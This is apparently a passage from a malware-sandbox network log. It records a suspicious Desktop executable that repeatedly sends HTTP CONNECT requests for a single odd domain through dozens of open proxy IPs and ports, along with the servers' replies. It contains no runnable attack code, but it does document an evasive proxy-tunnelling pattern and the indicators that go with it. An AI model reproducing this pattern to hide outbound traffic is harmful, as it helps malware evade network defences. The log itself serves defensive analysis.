Feb 23, 2024 09:45:19.901653051 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.4	50765	184.72.36.89	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.826170921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.987340927 CET	344	IN	HTTP/1.1 403 Forbidden Date: Fri, 23 Feb 2024 08:45:19 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.4	50775	72.210.252.137	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.828124046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.4	50592	199.102.107.145	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.828757048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.4	50833	172.67.127.188	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.838435888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.925348997 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.4	50767	213.136.79.177	64556	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.850878000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.368665934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.975028038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.178556919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.365910053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.682914019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.866386890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.365875959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.4	50781	84.39.112.144	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.854213953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.032099962 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.2 Date: Fri, 23 Feb 2024 08:44:39 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.4	50798	46.182.6.69	25295	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.862962961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.368647099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.865941048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.865962982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.866436958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.866007090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.4	50839	104.22.37.236	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.864383936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.951320887 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.4	50817	91.134.140.160	49687	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.878186941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.439718962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.037535906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.4	50838	45.61.188.134	44499	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.885554075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.4	50723	8.213.137.155	8888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.922099113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.225333929 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.4	50709	116.199.170.17	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.926898956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.4	50831	37.235.48.19	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.929939985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.4	50842	98.178.72.21	10919	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.937639952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.4	50894	104.18.44.93	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.940469027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.027422905 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.4	50897	104.19.109.209	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.945240974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.032990932 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.4	50905	162.159.242.158	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.950246096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.037563086 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.4	50857	163.172.149.133	16379	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.955885887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.474965096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.975085020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.991699934 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.4	50725	120.79.101.0	8888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.964740992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.575639963 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.4	50717	103.148.51.19	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.968493938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.4	50865	24.249.199.12	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.975502968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.4	50868	184.178.172.13	15311	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.986601114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.4	50882	72.195.114.169	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.002799988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.4	50776	61.7.183.152	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.041450024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.4	50871	109.123.254.43	17179	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.068001032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.739381075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.587029934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.030630112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.943938971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.835099936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.834623098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.599620104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.4	50783	183.78.143.142	28134	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.092866898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.902808905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.211489916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.740931034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.169573069 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.4	50932	159.65.77.168	8585	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.120260954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
